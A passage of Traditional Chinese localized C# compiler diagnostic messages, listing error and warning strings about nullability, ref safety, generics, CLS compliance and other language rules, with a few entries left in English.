找到之與此參數對應的「{0}」位置成員已隱藏。 + 無法解析為 PermissionSet 屬性的具名引數 '{1}' 所指定之檔案路徑 '{0}' + 數字無效 + 參考組件 '{0}' 有不同的文化特性設定 '{1}'。 + cref 屬性中的參考模稜兩可 + 擴充方法的第一個參數不可為類型 '{0}' + 唯讀參考 + '{0}' 是 {1},其在指定內容中無效 + 只有 ref/out 或陣列陣序差異的多載方法 '{0}',不符合 CLS 規範 + 參數類型 'void' 無效 + 非泛型宣告中不可使用條件約束 + XML 註解有句法不正確的 cref 屬性 + 匿名方法 + 可為 Null 的參考型別註釋應只用於 '#nullable' 註釋內容中的程式碼。 + 運算式樹狀架構不可包含 throw 運算式。 + 無法將類型 '{0}' 轉換成 '{1}' + 篩選條件運算式是常數 'false',請考慮移除 try-catch 區塊 + 不可指定多次具名引數 '{0}' + 陣列類型規範 [] 必須出現在參數名稱之前 + 無法將 null 轉換成 '{0}',因為它是不可為 null 的實值類型 + 已指定多次分析器參考 '{0}' + 'partial' 修飾元只可緊接在 'class'、'record'、'struct'、'interface' 或方法傳回型別之前。 + 方法 '{0}' 必須是非泛型,才能符合 '{1}'。 + 型別未實作集合模式; 成員非公用執行個體或延伸模組方法。 + DefaultParameterValue 屬性的引數類型和參數類型必須相符 + '{0}' 沒有任何目標類型 + 參考別名選項無效: '{0}=' -- 遺漏檔案名稱 + 類型 '{0}' 不可用於記錄的欄位。 + 欄位或自動實作屬性的類型不可為 '{0}',除非它是 ref struct 的執行個體成員。 + 變異數無效: 除非使用語言版本 '{4}' 或更高版本,否則型別參數 '{1}' 在 '{0}' 上須為 {3} 有效。'{1}' 是 {2}。 + Using 指示詞先前顯示為全域 using + 套用到參數 '{0}' 的 CallerArgumentExpressionAttribute 將沒有效果,因為它套用了不允許選擇性引數的內容中所使用之成員 + 具名引數 '{0}' 未用在正確的位置,但後面接著未命名引數 + 無法以可寫入傳址方式傳回唯讀欄位 '{0}' 的成員 + 無法將類型 '{0}' 的運算式用做為動態分派作業的引數。 + 不允許透過來源類型 'dynamic' 或使用類型 'dynamic' 之聯結序列的查詢運算式 + 選項 '{0}' 會覆寫原始程式檔或加入的模組中所指定之屬性 '{1}' + '{0}': 成員名稱不可與其封入類型名稱相同 + '{0}': 在非同步 using 陳述式中使用的類型,必須可隱含地轉換為 'System.IAsyncDisposable' 或實作合適的 'DisposeAsync' 方法。您指的是否為 'using',而非 'await using'? + 參數 {0} 發生在參數清單中 {1} 之後,但卻用為差補字串處理常式轉換的引數。這會要求呼叫者在呼叫網站使用具名引數重新排列參數。請考慮將差補字串處理常式參數置於所有相關的引數後面。 + 雜湊演算法名稱無效: '{0}' + 內容關鍵字 'var' 只可出現在區域變數宣告或指令碼中 + 運算式樹狀架構不可包含靜態虛擬或抽象介面成員的存取權 + 映像基底編號 '{0}' 無效 + Windows 執行階段事件不可以 out 或 ref 參數形式傳遞。 + 類型 '{0}' 的執行個體不可用於巢狀函式、查詢運算式、迭代區塊或非同步方法中 + '{0}' 未實作介面成員 '{1}'。'{2}' 無法實作 '{1}',因為其沒有符合的傳回類型 '{3}'。 + 引數應該以 'ref' 或 'in' 關鍵字傳遞 + 擴充屬性模式 + {0} 子句中的其中一個運算式類型不正確。呼叫 '{1}' 時發生類型推斷失敗。 + XML 註解具有參考類型參數的 cref 屬性 + 檔案-本機類型 '{0}' 無法使用協助工具修飾元。 + 主要建構函式參數 '{0}' 由來自基底的成員陰影化。 + 必須是方法名稱 + 無法在匿名方法、Lambda 運算式或查詢運算式中,使用固定的區域變數 '{0}' + 因為找到同步進入點 '{1}',所以方法 '{0}' 無法作為進入點。 + __arglist 在此內容中無效 + 成員 '{0}' 在結束時必須具有非 Null 值。 + 項目不可為 null。 + 不是 C# 符號。 + 無法將方法群組 '{0}' 轉換成非函式指標類型 '{1}'(&M) + '{0}': 靜態類型不可用做為參數 + 只有 'using static' 或 'using alias' 可以是 'unsafe'。 + 從模組 '{1}' 匯出的類型 '{0}' 與此組件的主要模組中所宣告之類型相衝突。 + switch 運算式未處理其輸入類型可能的值 (並非全部)。 + 非受控建構的類型 + 這會取得 Managed 類型的位址、大小,或宣告指向它的指標 + 指定的版本字串 '{0}' 不符合所需的格式 - major[.minor[.build[.revision]]] + foreach 陳述式不可用在類型 '{0}' 的變數上,因為其會實作 '{1}' 的多個具現化; 請嘗試轉型為特定的介面具現化 + XML 註解具有 param 標籤,但是沒有該名稱的參數 + 必須是識別項 + 模式比對 + 使用別名不可以是可為 Null 的參考型別。 + CallerMemberNameAttribute 將沒有效果; CallerFilePathAttribute 會覆寫它 + A collection expression of type '{0}' cannot be used in this context because it may be exposed outside of the current scope. + 檔案類型 + 運算式樹狀結構不可包含基底存取 + 參數只能有一個 '{0}' 修飾元 + goto 陳述式的範圍內沒有這種標籤 '{0}' + 只有在編譯時指定了 /unsafe,才會出現 unsafe 程式碼 + 對 '{0}' 之呼叫所傳回的參考無法在 'await' 或 'yield' 界限間保留。 + '{0}': 虛擬或抽象成員不可為私用 + CallerArgumentExpressionAttribute 套用了不正確的參數名稱。 + 記錄中的位置欄位 + 唯讀成員 + 參考的組件具有不同文化特性設定 + 擴充方法 '{0}' 的第一個 'in' 或 'ref readonly' 參數必須是具體 (非泛型) 數值型別。 + 產生器 '{0}' 無法初始化。其不會提供給輸出,並可能導致編譯錯誤。例外狀況的類型為 '{1}',訊息為 '{2}'。 +{3} + 類型 '{0}' 的值不可用做為可為 Null 之參數 '{1}' 的預設參數,因為 '{0}' 不是簡單類型 + 類型 '{0}' 的值不可用做為預設參數,因為沒有標準轉換至類型 '{1}' + 參數 '{0}' 類型中參考類型的可為 Null 性與攔截的方法 '{1}' 不相符。 + '{0}' 必須為必要項目,因為它會覆蓋必要的成員 '{1}' + '{0}' 為抽象,但包含在非抽象類型 '{1}' 中 + 動態 + 可能有 Null 參考指派。 + 無法藉傳址方式傳回參數 '{0}' 的成員,因為它的範圍是目前的方法 + 組件 '{1}' 中的模組 '{0}' 正在將類型 '{2}' 轉送給多個組件: '{3}' 及 '{4}'。 + #pragma 警告後應有 'disable' 或 'restore' + SecurityAction 值 '{0}' 對套用至類型或方法的安全屬性無效 + '{0}' 是 {1},但卻當成 {2} 使用 + 記錄成員 '{0}' 必須傳回 '{1}'。 + 前置處理器指示詞必須出現為行中第一個非空白字元 + 欄位 + 陣列 + 使用別名 + 數字分隔符號 + 使用可能未指派的欄位 '{0}'。請考慮更新語言版本 '{1}' 以自動預設欄位。 + 在 is-type 運算式中使用可為 Null 的參考型別 '{0}' 不合法嗎? 請改用基礎類型 '{0}'。 + 參數 '{0}' 在結束時必須具有非 Null 值。 + 事件 + 修飾元 '{0}' 對此項目無效 + Discard + 金鑰檔案 '{0}' 遺漏簽署所需的私密金鑰 + 標籤 + __arglist 運算式只可出現於呼叫或 new 運算式中 + 不支援演算法 '{0}' + 方法必須要有傳回類型 + 類型參數 + 列舉不能包含明確的無參數建構函式 + '{0}' 使用 'UnmanagedCallersOnly' 屬性化,因此無法直接呼叫。取得此方法的函式指標。 + 兩個部分方法宣告都必須有完全相同的存取範圍修飾詞。 + 不是此宣告的有效屬性位置 + 建立雜湊時密碼編譯失敗。 + 此方法只可用以建立語彙基元 - {0} 不是語彙基元種類。 + 成員 '{0}' 不可用於此屬性中。 + '{0}' 無法定義多載的 {1},後者僅在參數修飾元 '{2}' 和 '{3}' 有所不同 + 函式指標 '{0}' 不接受 {1} 個引數 + 重複 Null 隱藏運算子 ('!') + 型別中參考型別的可 Null 性與覆寫的成員不符合。 + 名稱 '{0}' 不存在於目前的內容中 (是否遺漏了組件 '{1}' 的參考?) + 在目前的內容中無法使用關鍵字 'base' + 在宣告區域變數 '{0}' 之前,無法使用此變數 + 非同步 using + 常值字串 ']]>' 不可用在元素內容中。 + '{0}': 無法實作動態介面 '{1}' + 成員初始設定式及查詢中之運算式變數的宣告 + 目標執行時間不支援 ref 欄位。 + 因為 'scoped' 修飾元或 '[UnscopedRef]' 屬性不同,所以無法攔截具有 '{1}' 對 '{0}' 的呼叫。 + '{0}' 的部分方法宣告在類型參數 '{1}' 的限制式中,有不一致的可 NULL 性 + 參數對於指定的 Unmanaged 類型無效。 + /REFERENCEPATH 選項 + 運算式樹狀目錄不可包含區域函式的參考 + 此欄位有多個相異的常數值。 + {0} 版 {1} + Copyright (C) Microsoft Corporation. 著作權所有,並保留一切權利。 + 安全屬性 '{0}' 在此宣告類型上無效。安全屬性只有在組件、類型和方法宣告上才有效。 + 使用靜態 + 在目前偵錯工作階段期間加入的成員 '{0}',只能從其宣告組件中 '{1}' 存取。 + 無法在檔案中第一個語彙基元後使用 #load + 類型名稱只包含小寫的 ASCII 字元。此類名稱可能保留供此語言使用。 + 運算式樹狀架構不得包含 out 引數變數宣告。 + XML 註解 cref 屬性中參數 {0} 的類型無效: '{1}' + 型別無法作為型別參數用於泛型型別或方法中。型別引數的可 Null 性與 'class' 條件約束不符合。 + 不一致的存取範圍: 條件約束類型 '{1}' 比 '{0}' 的存取範圍小 + '{0}' 不可同時為抽象與密封 + 未預期的字元 '{0}' + '{0}' 不是有效的具名屬性引數。具名屬性引數必須為欄位,且不可為 readonly、static 或 const,也不可以是 public 且非 static 的 read-write 屬性。 + 無法辨認的 #pragma 指示詞 + 無法宣告靜態類型 '{0}' 的變數 + 您已使用 /link 新增組件參考 (內嵌 Interop 類型屬性設定為 True)。這會指示編譯器內嵌該組件中的 Interop 類型資訊。不過,編譯器無法內嵌該組件中的 Interop 類型資訊,因為您已參考的另一個組件也會使用 /reference 來參考該組件 (內嵌 Interop 類型屬性設定為 False)。 + +若要內嵌兩個組件的 Interop 類型資訊,請針對每一個組件參考使用 /link (內嵌 Interop 類型屬性設定為 True)。 + +若要移除警告,您可以改用 /reference (內嵌 Interop 類型屬性設定為 False)。在此情況下,主要 Interop 組件 (PIA) 會提供 Interop 類型資訊。 + 傳回類型中參考類型的可為 Null 性與攔截的方法 '{0}'.不相符。 + 運算式主體屬性存取子 + '{0}' 定義了運算子 == 或運算子 !=,但不會覆寫 Object.Equals(object o)。 + 類型引數的數目錯誤 + '{0}' 未實作 '{1}' 模式。'{2}' 的簽章錯誤。 + 非同步的 foreach 需要 '{1}' 的傳回型別 '{0}',必須要有合適的公用 'MoveNextAsync' 方法和公用 'Current' 屬性 + 命名空間宣告不能有修飾元或屬性 + '{0}': 標記有 StructLayout(LayoutKind.Explicit) 之類型的執行個體欄位,必須要有 FieldOffset 屬性 + 無法建立抽象類型或介面 '{0}' 的執行個體 + 事件的明確介面實作必須使用存取子語法 + '{0}' 常數值的運算發生循環定義 + '{0}' 對此宣告而言,不是有效的屬性位置。對此宣告有效的屬性位置是 '{1}'。將會忽略此區塊中的所有屬性。 + 此內容中類型 '{0}' 的 stackalloc 運算式結果可能會公開在包含方法之外 + '{0}' 在 '{1}' 和 '{2}' 之間不明確。使用 '@{0}' 或明確包含 'Attribute' 尾碼。 + 必須是 ; + 以動態分派的呼叫可能會在執行階段失敗,因為一個或多個適用的多載是條件式方法 + 命名空間與所匯入的類型衝突 + 部分方法不能有多重實作的宣告 + 無法將 '{0}' 用作為 ref 或 out 值,因其為 '{1}' + '{0}' 已授與 Friend 存取權限,但輸出組件的強式名稱簽署狀態不符合授與組件的強式名稱簽署狀態。 + 建立具目標類型的物件 + 在類型中宣告、具有參數清單的建構函式,必須具有 'this' 建構函式初始設定式。 + 條件約束不可為動態類型 '{0}' + 運算子 '{0}' 不可套用至類型為 '{1}' 的運算元 + 唯讀類型的主要建構函式參數無法由可寫入的參考傳回 + '{0}': volatile 欄位的參考不會視為 volatile + 運算式樹狀結構不可包含動態作業 + 隱含類型區域變數不可為 fixed + 匯入的類型 '{0}' 無效。其包含循環基底類型相依性。 + 為來源類型 '{0}' 找到多個查詢模式實作。模稜兩可的 '{1}' 呼叫。 + 命令列參數 '{0}' 尚未獲實作,已忽略。 + 型別中參考型別的可 Null 性與實作的成員不符合。 + 方法、運算子或存取子 '{0}' 已標記為外部,但其上沒有屬性。請考慮加入 DllImport 屬性來指定外部實作。 + '{0}' 不是來自 '{1}' 的有效參數名稱。 + 不一致的存取範圍: 參數類型 '{1}' 比索引子 '{0}' 的存取範圍小 + 在多個參考組件中宣告了預先定義的類型 '{0}': '{1}' 與 '{2}' + 運算式主體屬性 + 'RefKind.Out' 對傳回型別而言,不是有效的參考類型。 + 插入的逐字替代字串 + 巢狀函式中的名稱鏡像處理 + static 或 const 欄位不能有 FieldOffset 屬性 + 無法在匿名方法、Lambda 運算式或查詢運算式中使用參考本機 '{0}' + 無法藉傳址方式 '{0}' 傳回參數,因為它的範圍是目前的方法 + 運算子 '{0}' 在類型為 '{1}' 和 '{2}' 的運算元上模稜兩可 + '{0}' 的傳回類型不符合 CLS 規範 + 切換運算式 ARM 不會以 'case' 關鍵字開頭。 + CallerArgumentExpressionAttribute 只能套用至具有預設值的參數 + 假設組件參考符合識別 + '{0}' 未包含 '{1}' 的定義,也找不到擴充方法 '{1}' 可接受類型 '{0}' 的第一個引數 (是否遺漏 '{2}' 的 using 指示詞?) + 指定了延遲簽署且需要公開金鑰,但未指定任何公開金鑰 + 運算式一律會造成 System.NullReferenceException,因為 '{0}' 的預設值為 null。 + 索引子至少要有一個參數 + 使用 '{0}' 測試與 '{1}' 的相容性,基本上和測試與 '{2}' 的相容性是一樣的,而且對所有非 null 值都會成功 + 對指定的呼叫進行多次攔截。 + 必須是整數類型的值 + 因為參考型別的可 NULL 性有所差異,所以引數無法用作參數的輸出。 + 尚未實作語言功能 ('{0}')。 + 提交時就應該建立語法樹狀結構。 + 偵錯資訊的完整名稱太長 + 'ref' 後面必須指定 'readonly' 修飾詞。 + 找不到 RuntimeMetadataVersion 的值。找不到任何包含 System.Object 的組件,也未透過選項指定 RuntimeMetadataVersion 的值。 + 因為可為 null 之參考型別的註釋應只於 '#nullable' 註釋內容的程式碼中使用。自動產生的的程式碼需要來源中的明確 '#nullable' 指示詞。 + 介面標記為 'CoClassAttribute',而非標記為 'ComImportAttribute' + Lambda 參數陣列 + 所配置的執行個體未沿著所有例外路徑處置 + '必須是 'in' + 參考組件 '{0}' 中有錯誤。 + 參數類型是否可為 NULL 的情況,與覆寫的成員不相符 (可能的原因是屬性可為 NULL )。 + 任何位置都不允許元組元素名稱 '{0}'。 + 正在以負值索引檢索陣列 (陣列索引一律從 0 開始) + CLSCompliant 屬性套用至傳回類型沒有意義,請改為置於方法上。 + 為 Main 方法指定的 '{0}' 必須為非泛型類別、記錄、結構或介面 + 此引數組合會在其宣告範圍外公開參數所參考的變數 + 集合初始設定式元素最符合的多載 Add 方法 '{0}' 已經過時。{1} + 將不會執行 CLS 合規性檢查,因為這個組件不是外部可見的 + '{0}' 的部分宣告對類型參數 '{1}' 有不一致的條件約束 + 找不到為 Main 方法所指定的 '{0}' + 若將傳址封送類別的欄位用作為 ref 或 out 值或取得其位址,皆可能會導致執行階段例外狀況 + and 樣式 + 未提供任何可對應到 '{1}' 之必要參數 '{0}' 的引數 + 名稱 '{0}' 與對應的 'Deconstruct' 參數 '{1}' 不相符。 + 提供的原始程式碼類型不受支援或無效: '{0}' + 這會藉傳址方式傳回參數的成員,其範圍是目前的方法 + 無法指定參數陣列的預設值 + 對相同變數進行的指派 + 前置處理符號的名稱無效; '{0}' 不是有效的識別碼 + '{0}' 不可同時實作 '{1}' 和 '{2}',因為它們可能會整合某些類型參數的替代 + 轉送到組件 '{1}' 的類型 '{0}' 與從模組 '{3}' 匯出的類型 '{2}' 相衝突。 + 類型 '{2}' 必須是不可為 null 的實值類型,才可在泛型類型或方法 '{0}' 中用做為參數 '{1}' + 靜態類型不可用作傳回型別 + 方法的進入點簽章錯誤 + '{0}' 修飾元重複 + 以 Contravariant 方式 + 類型 '{0}' 的值不可使用清單模式。 + 無法將 {0} 轉換成類型 '{1}',因為傳回型別不符合委派傳回型別 + 逐字規範 "@" 之後應接著關鍵字、識別項或字串 + 修飾元 '{0}' 在 C# {1} 中對此項目無效。請使用 '{2}' 或更高的語言版本。 + 明確介面實作 '{0}' 遺失存取子 '{1}' + '{2}' 必須是具有公用無參數建構函式的非抽象類型,才可在泛型類型或方法 '{0}' 中用做為參數 '{1}' + '{0}': 包含類型未實作介面 '{1}' + '{0}': ref struct 無法實作介面 + 方法 '{0}' 必須是非泛型或具有 arity {1},才能符合 '{2}'。 + 找不到來源類型 '{0}' 的查詢模式實作。找不到 '{1}'。是否遺漏了必要的組件參考或 'System.Linq' 的 using 指示詞? + 使用者定義的運算子無法傳回 void + 參數型別中參考型別的可 Null 性與隱含實作的成員不符合。 + 二進位常值 + 無法以負值大小建立陣列 + 模式型處置 + 靜態類別 + 適用於覆寫和明確介面實作方法的條件約束 + 在匿名方法或 Lambda 運算式內不可使用 yield 陳述式 + 無法內嵌類型 '{0}',因為它有泛型引數。請考慮將 [內嵌 Interop 類型] 屬性設定為 false。 + 原始程式檔已超過 PDB 所能顯示的上限 16,707,565 行; 偵錯資訊可能會不正確 + ref struct + 索引運算子 + '{0}' 未實作介面成員 '{1}',因為 '{2}' 並非公用。 + InterpolatedStringHandlerArgument 在套用至 Lambda 參數時沒有效果,將於呼叫網站忽略。 + '{1}' 未定義類型參數 '{0}' + 不可對 case 常數使用 '_'。 + 接收器類型 '{0}' 不是有效的記錄類型,而且不是結構類型。 + typeof 運算子不能用於動態類型上 + 遞增或遞減運算子的運算元必須是變數、屬性或索引子 + 只有在發出 PDB 時才支援 /embed 參數。 + 指定運算式無法用於 fixed 陳述式中 + '{0}' 不可同時為外部與抽象 + 需要可轉換成 '{0}' 之類型的物件 + 無法建立靜態類別 '{0}' 的執行個體 + 使用可能未指派的欄位 '{0}' + 無法使用此 switch 案例。switch 運算式的上一個 arm 已處理了此樣式,或其無法比對。 + '{0}' 會隱藏繼承的成員 '{1}'。若本意即為要隱藏,請使用 new 關鍵字。 + Unicode 字元無效。 + 無法將藉傳址方式傳回的 Lambda 運算式轉換為運算式樹狀架構 + 因為找不到編譯器所需的類型 '{0}',所以無法定義利用元組的類別或成員。是否遺漏參考? + 使用檔案 '{0}' 的公開金鑰簽署輸出時發生錯誤 -- {1} + '{0}': 不可在指定條件約束類型的同時,又指定 'class' 或 'struct' 條件約束 + 結構內的匿名方法、Lambda 運算式、查詢運算式和區域函式無法存取也在執行個體成員內使用的主要建構函式參數 + 參數類型中參考類型的可為 Null 性與攔截的方法不相符。 + using static' 指示詞只能套用至類型; '{0}' 是命名空間而非類型。請考慮改用 'using namespace' 指示詞 + 無法將 Lambda 運算式用做為動態分派作業的引數,但卻未先將其轉型為委派或運算式樹狀結構類型。 + 傳值傳回只能用於以傳值方式傳回的方法 + 無法在此內容中使用類型 '{0}' 的 stackalloc 運算式結果,因為它會公開在包含方法之外 + 一般屬性 + 篩選條件運算式是常數 'true',請考慮移除此篩選條件 + 指定做為 TypeForwardedTo 屬性引數的類型無效 + 無法以 '{0}' 建立委派,因為其或其所覆寫的方法具有 Conditional 屬性 + 在此內容中使用預設常值無效 + 未預期的關鍵字 'unchecked' + '{0}' 的必要成員清單格式錯誤,無法解譯。 + 無法將類型 '{0}' 隱含轉換成 '{1}'。已存在明確轉換 (是否漏了轉型?) + 不可從 {1} 建立分析器 {0} 的執行個體: {2}。 + Using 指示詞先前出現在此命名空間中 + XML 註解有無法解析的 cref 屬性 + 無法明確參考 'System.Runtime.CompilerServices.TupleElementNamesAttribute'。請使用元組語法定義元組名稱。 + 數字無效 + 委派 '{0}' 不接受 {1} 個引數 + '{0}' 會隱藏繼承的抽象成員 '{1}' + 類型參數 '{0}' 重複 + 集合初始設定式項目最符合的多載 Add 方法已經過時 + 常數字串上的模式比對 ReadOnly/Span<char> + 為 '{0}' 指定了不同的總和檢查碼值 + '{0}': 事件必須為委派類型 + 套用到參數 '{0}' 的 EnumeratorCancellationAttribute 不會有任何作用。屬性只有在會傳回 IAsyncEnumerable 的非同步迭代器方法中,在類型 CancellationToken 的參數上才有效 + yield return 之後應接著運算式 + 只有在發出 PDB 時才支援 /sourcelink 參數。 + 值中參考型別的可 Null 性與目標型別不符合。 + 參數型別中參考型別的可 Null 性與實作的成員不符合。 + 安全屬性的第一個引數必須是有效的 SecurityAction + '{0}': 外部事件不可有初始設定式 + 請勿使用 'System.Runtime.CompilerServices.ScopedRefAttribute'。請改用 'scoped' 關鍵字。 + 無法在範圍變數宣告中使用內容關鍵字 'var' + /reference' 的外部別名無效; '{0}' 不是有效的識別項 + 成員隱藏所繼承的成員; 遺漏 override 關鍵字 + FieldOffset 屬性僅能置於標記為 StructLayout(LayoutKind.Explicit) 類型的成員上 + XML 註解中有重複的 param 標籤 + 靜態介面成員的變異數安全性 + 類型 + '{0}': 靜態類型不可用做為類型引數 + 此內容不允許 throw 運算式。 + 遇到未命名的列舉值時,switch 運算式不會處理其輸入類型的某些值 (未徹底處理)。 + 套用到參數 '{0}' 的 CallerLineNumberAttribute 將沒有作用,因為它套用到了不允許選擇性引數的內容中所使用之成員 + 必須是可多載的二元運算子 + 找不到隱含類型陣列的最佳類型 + 此位置不可使用空白。 + XML 註解沒有放置在有效的語言項目前 + stackalloc 無法使用負值大小 + 命令列語法錯誤: 遺漏 '{1}' 選項的 '{0}' + 指標和固定大小緩衝區只能使用於 unsafe 內容中 + 只有未命名陣列類型有差異的多載方法,不符合 CLS 規範 + 在控制權離開方法之前,必須指派 out 參數 + 建置 Win32 資源時發生錯誤 -- {0} + 在運算式樹狀結構中,不可使用只具有定義宣告或已移除條件式方法的部分方法 + 元組項目名稱 '{0}' 從推斷而來。請使用語言版本 {1} 或更新版本,依推斷名稱存取項目。 + 可能誤用了參考比較; 若要進行數值比較,請將右側轉型為類型 '{0}' + XML 註解中有重複的 typeparam 標籤 + 使用未指派的區域變數 '{0}' + 類型和別名不能命名為 'file'。 + CallerArgumentExpressionAttribute 將沒有效果; CallerLineNumberAttribute 會覆寫它 + 識別為 '{1}' 的組件 '{0}' 會使用 '{2}',而後者的版本高於識別為 '{4}' 的參考組件 '{3}' + 這會透過 ref 參數藉傳址 '{0}' 傳回參數; 但是只能在 return 陳述式中安全地傳回 + 非泛型 {1} '{0}' 不可搭配類型引數一起使用 + 結構欄位初始設定式 + 組件名稱 '{0}' 已保留,不可用做為互動工作階段中的參考 + 無法在具有 'UnmanagedCallersOnly' 的方法簽章中使用 'ref'、'in' 或 'out'。 + 類型會定義運算子 == 或運算子 !=,但不會覆寫 Object.Equals(object o) + 無法使用在匿名方法、Lambda 運算式、查詢運算式或區域函式內具有類似參考類型的參數 '{0}' + '{0}': 類型必須是 '{2}' 才符合覆寫的成員 '{1}' + 用於 sign-extend 運算元的 Bitwise-or 運算子; 請先考慮轉換為較小的不帶正負號類型 + 篩選條件運算式是常數 'false' + 您不能使用包含在 unfixed 運算式中的固定大小緩衝區。請嘗試使用 fixed 陳述式。 + 無法取得指定運算式的位址 + 運算式樹狀結構不可包含 '{0}' + 不能連同 DefaultParameterAttribute 或 OptionalAttribute 一起指定預設參數值 + 型別 '{2}' 無法作為型別參數 '{1}' 用於泛型型別或方法 '{0}' 中。型別引數 '{2}' 的可 Null 性與 'class' 條件約束不符合。 + 使用 {1} out 參數及 void 傳回型別找不到適合類型 '{0}' 的解構執行個體或擴充方法。 + '{0}' 已明確實作多次。 + 擴充方法必須在非泛型靜態類別中定義 + Attribute parameter 'SizeConst' must be specified. + '{0}' 為類型 '{1}'。非字串之參考類型的 const 欄位,只能以 null 初始設定。 + '{0}' 對函式指標而言,不是有效的呼叫慣例指定名稱。 + 傳回型別中參考型別的可 Null 性與實作的成員 '{0}' 不符合。 + new()' 條件約束不能和 'struct' 條件約束一起使用 + 非同步方法的參數清單中不可出現 __arglist + 無法攔截: 編譯未包含路徑為 '{0}' 的檔案。 + 因為受限於優先順序,所以無法在此使用運算子 '{0}'。請使用括弧消除歧義。 + 參數在結束時必須具有非 Null 值。 + 請勿使用 'System.Runtime.CompilerServices.ExtensionAttribute'。請改用 'this' 關鍵字。 + 必要成員 + 必須是 add 或 remove 存取子 + 程式控制權不能從匿名方法或 Lambda 運算式的主體離開 + 過時成員會覆寫非過時成員 + 除非 '{1}' 為 'SignatureCallingConvention',否則傳遞 '{0}' 無效。 + 類別類型條件約束 '{0}' 必須在所有其他條件約束之前 + 可能使用了未指派的自動實作屬性 '{0}' + 分析程式組件 '{0}' 參考編譯器的版本 '{1}' ,比目前執行的版本 '{2}' 還要新。 + '{0}' 必須符合覆寫成員 '{1}' 的藉傳址方式傳回 + CallerFilePathAttribute 將沒有效果; CallerLineNumberAttribute 會覆寫它 + 擴充方法群組不允許做為 'nameof' 的引數。 + 無法使用參考將傳值變數初始化 + async-iterator 方法的主體必須包含 'yield' 陳述式。建議將 'async' 從方法宣告移除,或新增 'yield' 陳述式。 + '{0}' 未包含 '{1}' 的定義,也找不到可接受類型 '{0}' 第一個引數的可存取擴充方法 '{1}' (是否遺漏 using 指示詞或組件參考?) + {1} '{0}' 不可搭配類型引數一起使用 + 無法在此內容中使用運算式,因為它會在其宣告範圍外間接公開變數 + 差補字串處理常式轉換的參數會在處理常式參數後發生 + 部分方法不可有多重定義宣告 + 套用到參數 '{0}' 的 CallerArgumentExpressionAttribute 將沒有效果。它套用了不正確的參數名稱。 + 組件參考 '{0}' 無效,無法解析 + 此參考指派的值比目標的逸出範圍更窄。 + 靜態類別不能有執行個體建構函式 + 'await' 要求類型 {0} 必須要有適合的 GetAwaiter 方法 + 無法在此內容中使用 '{0}' 結果的成員,因為它會將參數 '{1}' 參考的變數公開在其宣告範圍外 + 隱含輸入的 Lambda 參數 '{0}' 不能有預設值。 + 類型 '{1}' 已保留了一個具有相同參數類型且名為 '{0}' 的成員 + 因為自動實作屬性 '{0}' 有 'set' 存取子,所以無法將其標記為 'readonly'。 + 引數類型不符合 CLS 規範 + 逸出序列無法辨認 + 在 XML 註解中,參數沒有相符的 param 標籤 (但其他參數則相反) + Switch 運算式未處理某些 null 輸入。 + 繼承的介面 '{1}' 造成 '{0}' 介面階層架構中出現循環 + 全域命名空間中找不到類型或命名空間名稱 '{0}' (是否遺漏了組件參考?) + 無法攔截 '{0}',因為它不是一般成員方法的叫用。 + 無法在 catch 子句的篩選條件運算式中等候 + 只可使用陣列初始設定式運算式,指派給陣列類型。請嘗試改用 new 運算式。 + 正在將 Null 常值或可能的 Null 值轉換為不可為 Null 的型別。 + 隱含類型變數必須經過初始設定 + 類型參數宣告必須是識別項,而非類型 + 主要建構函式 + 在控制項傳回呼叫者之前,必須先完全指派自動實作屬性 '{0}'。請考慮更新至語言版本 '{1}' 以自動預設屬性。 + '{0}': 在結構中宣告了新的 Protected 成員 + '{0}': 靜態類別不可包含 Protected 成員 + 在指派 'this' 物件的所有欄位之前,會先讀取該物件,導致先前對未明確指派的欄位進行隱含的 'default' 指派。 + '{0}': 不可在靜態類別中宣告執行個體成員 + 在明確指派自動實作屬性之前會先將控制項傳回呼叫者,導致先前隱含的指派為 'default'。 + 可執行檔不可為附屬組件; 文化特性需保留為空白 + 方法缺少 `[DoesNotReturn]` 註釋,與實作或覆寫的成員不相符。 + 在此內容中使用關鍵字 'base' 無效 + 類型 '{0}' 定義在未參考的組件中。您必須加入組件 '{1}' 的參考。 + '{0}' 加入了在介面成員 '{1}' 中找不到的存取子 + 選項無法辨認: '{0}' + 具有 'SecurityCritical' 或 'SecuritySafeCritical' 屬性的介面、類別或結構中,不可使用非同步方法。 + 無法套用 CallerArgumentExpressionAttribute,因為從類型 '{0}' 到類型 '{1}' 沒有標準轉換 + is' 或 'as' 運算子的第一個運算元,不可為 Lambda 運算式、匿名方法或方法群組。 + 陣列存取不能有具名引數規範 + 無法將方法群組用做為動態分派作業的引數。原本希望叫用此方法嗎? + 範圍運算子 + 無法將唯讀欄位用作為 ref 或 out 值 (除非在建構函式中) + 無法攔截路徑為 '{0}' 的檔案中呼叫,因為編譯中的多個檔案具有此路徑。 + 為可能包含多重變數宣告子的宣告節點,呼叫了 GetDeclarationName。 + 如果您的多載方法採用不規則陣列,而且方法簽章之間的唯一差異是陣列的項目類型,則會發生此錯誤。若要避免此錯誤,請考慮使用矩形陣列,而非不規則陣列; 請使用其他參數來釐清函式呼叫; 請重新命名一個或多個多載方法; 或者,如果不需要符合 CLS 規範,請移除 CLSCompliantAttribute 屬性。 + Switch 運算式不會處理其輸入類型所有可能的值 (其並不詳盡)。例如,未涵蓋模式 '{0}'。但具有 'when' 子句的模式可能可以成功與這個值相符。 + 方法 '{0}' 的特徵標記中元組元素必須與介面方法 '{1}' 的元組元素名稱相符 (包括在傳回類型)。 + 在指派 'this' 物件的所有欄位之前,會先讀取該物件,導致先前對未明確指派的欄位進行隱含的 'default' 指派。 + 這會藉傳址方式傳回參數 '{0}' 的成員,其範圍是目前的方法 + '{1}' 中的 '{0}' 屬性重複 + 非同步函式 + 無效的偵錯資訊格式: {0} + 在相同區塊內,goto 不可跳到 using 宣告前的位置。 + 存取子 '{0}' 與 '{1}' 不得同時是或不是僅供初始化 + 非同步方法不能具有指標型別參數 + 'else' 無法開始陳述式。 + 成員會覆寫過時成員 + 無法指派給 {0} '{1}',或將其用在 ref 指派的右邊,因為它是唯讀變數 + 不允許模式的語法 'var' 參考類型,但 '{0}' 在此處的範圍中。 + 非同步方法不可有 by-reference local + Argument {0} should be passed with the 'in' keyword + notnull 泛型型別限制式 + 只有自動實作的屬性可以有初始設定式。 + 具有欄位初始設定式的 'struct' 必須包含明確宣告的建構函式。 + 無法建立短的檔名 '{0}',因為已有長檔名的名稱和該短檔名相同 + ++ 或 -- 運算子的參數必須是包含類型,或其型別參數受其限制。 + 檔案-本機類型 '{0}' 必須在最上層類型中定義; '{0}' 是巢狀類型。 + 屬性 '{0}' 在事件存取子上無效。其只有在 '{1}' 